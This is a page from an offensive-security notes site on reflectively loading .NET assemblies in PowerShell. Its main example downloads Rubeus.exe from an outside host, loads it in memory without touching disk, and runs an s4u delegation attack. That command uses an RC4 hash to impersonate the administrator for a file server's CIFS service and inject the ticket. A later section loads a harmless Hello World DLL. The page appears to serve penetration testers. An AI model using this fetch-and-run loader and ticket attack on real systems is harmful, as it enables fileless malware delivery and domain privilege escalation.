> For the complete documentation index, see [llms.txt](https://rfc1918.gitbook.io/offsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rfc1918.gitbook.io/offsec/execution/powershell/c-assembly-in-powershell/reflective-load.md).

# Reflective Load

\[System.Reflection.Assembly]::Load()

Load assembly executables into memory.

## Simple example of loading Rubeus

```powershell
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
```

## Loading DLL files

### Example assembly dll&#x20;

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace HelloWorldDll
{
    public class Class1
    {
        public static void Execute()
        {
            Console.WriteLine("Hello World!");
        }
    }
}
```

### Loading and interacting with assembly

```powershell
$assem = [System.Reflection.Assembly]::LoadFile("C:\Users\HelloWorldDll.dll")
$class = $assem.GetType("HelloWorldDll.Class1")
$method = $class.GetMethod("Execute")
$method.Invoke(0, $null)
```

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2Fx8lXSVtYKrWKXkBJjlpH%2Fimage.png?alt=media&amp;token=6ac26c2c-531f-42b1-82de-7ecb703ea540" alt=""><figcaption></figcaption></figure>

## References

<https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=net-7.0>
